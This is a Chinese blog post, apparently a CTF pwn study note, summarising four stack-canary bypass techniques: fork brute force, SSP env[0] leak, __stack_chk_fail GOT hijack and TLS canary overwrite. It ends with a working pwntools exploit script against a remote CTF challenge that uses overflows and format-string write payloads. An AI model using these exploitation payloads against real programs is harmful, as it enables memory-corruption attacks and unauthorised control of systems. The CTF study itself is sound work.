【PWN学习】cannary绕过方式汇总

发布时间:2023年12月23日

背景

利用cannary解题在现在的CTF比赛中似乎已经过时了,只是为了学习了解一下。

绕过的4种方式

目前我了解到的方式主要有以下4种

  1. fork
  2. ssp
  3. stack_chk_fail
  4. TLS canary attack

fork

每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
爆破次数:对于32位ELF,低字节固定是\x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。
在这里插入图片描述
在这里插入图片描述function1
在这里插入图片描述

在这里插入图片描述
基本思路就是,程序通过fork出子进程,cannary不会变,程序崩溃后是不会退出,从低位到高位逐字节覆盖cannary即可,

ssp

如果程序已经将flag读取到了某一个位置上,通过修改env[0]为flag的位置上,利用stack_chk_fail会打印出env[0]来变相读出flag,但在高版本的glbic上已经过时
在这里插入图片描述

stack_chk_fail

在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。
在这里插入图片描述
利用格式化字符串漏洞更改stack_chk_fail got表

TLS canary attack

Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时或者任意地址写的时候,通过覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
在这里插入图片描述
格式化字符串漏洞,第一次泄漏栈地址,第二次修改TLS结构,第三次覆盖cannary即可

exp

from pwn import *
from LibcSearcher import *
import sys
import time
import binascii
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
elf = ELF("./pwn")

#
if len(sys.argv) == 1:
	p = remote("node4.buuoj.cn","29647")
	#libc = ELF("./libc-2.27_64.so")
	#onegadget_array = [0x45216,0x4526a,0xf02a4,0xf1147]
	#p = remote("172.17.0.2","8888")
	#libc = ELF("./libc-2.27.so")
	#onegadget_array = [0x45216,0x4526a,0xf02a4,0xf1147]
	
else:
	p = process("./pwn")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
"""
Gadgets information
============================================================



""" 
def debug(gs):
	if len(sys.argv) > 2:
		gdb.attach(p,gs)
		pause()
		#raw_input()
		
context.log_level="debug"


get_flag_address = 0x4008F7

def attack1():
	p.sendlineafter("Enter your choice: ","1")
	payload = b"a"*0x48
	cannary = b""
	for i in range(0,8):
		for j in range(0,0xff):
			temp =payload +  int.to_bytes(j,1,"little")
			p.sendafter("welcome\n",temp)
			result = p.recv(0x3)
			print(b"[*]"+result)
			if b"***" in result:
				j+=1
			else:
				payload+= int.to_bytes(j,1,"little")
				cannary = cannary+int.to_bytes(j,1,"little")
				break

	#print(u64(cannary))
	log.info("cannary is 0x%x"%u64(cannary))	
	payload = b"a"*72
	payload += p64(u64(cannary))+b"b"*8+p64(get_flag_address)

	debug(gs = "set follow-fork-mode child\n b *0x4009A7")
	pause()
	p.sendafter("welcome\n",payload)
def attack2():
	p.sendlineafter("Enter your choice: ","2")
	flag_address = 0x6020E0
	payload = b"a"*296+p64(flag_address)
	p.sendafter("do!\n",payload)

def attack3():
	__stack_chk_fail_got = elf.got["__stack_chk_fail"]
	p.sendlineafter("Enter your choice: ","3")
	get_flag_address = 0x4008F7
	
	debug(gs="b *0x400B1C\n b*0x400B2D")
	payload = b"a%4196598c%8$lln"+p64(__stack_chk_fail_got)
	# payload = b"a"*296+p64(flag_address)
	p.sendafter(b"Write something?\n",payload)
	payload = b"a"*0x50
	p.sendlineafter("Again?",payload)
def attack4():
	# 0x42ff80
	p.sendlineafter("Enter your choice: ","4")
	payload = "aaaa%9$p"
	
	p.sendafter("Write something?\n",payload)
	p.recvuntil("aaaa0x")
	cannary_stack_address = int(p.recv(12),16)+0x28
	
	if cannary_stack_address&0xff !=0x28:
		exit(0)

	
	payload = b"aa%43688c%10$lln"+p64(cannary_stack_address)
	
	
	p.sendafter("Write something?\n",payload)
	payload = b"a"*0x38+p64(0xaaaa)+b"b"*8+p64(get_flag_address)
	debug(gs="b *0x400BDE")
	p.sendafter("Again?",payload)

	log.info("cannary_stack_address:0x%x"%cannary_stack_address)
attack1()	
attack2()
attack3()
attack4()
p.interactive()





文章来源:https://blog.csdn.net/weixin_41748164/article/details/135164482
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。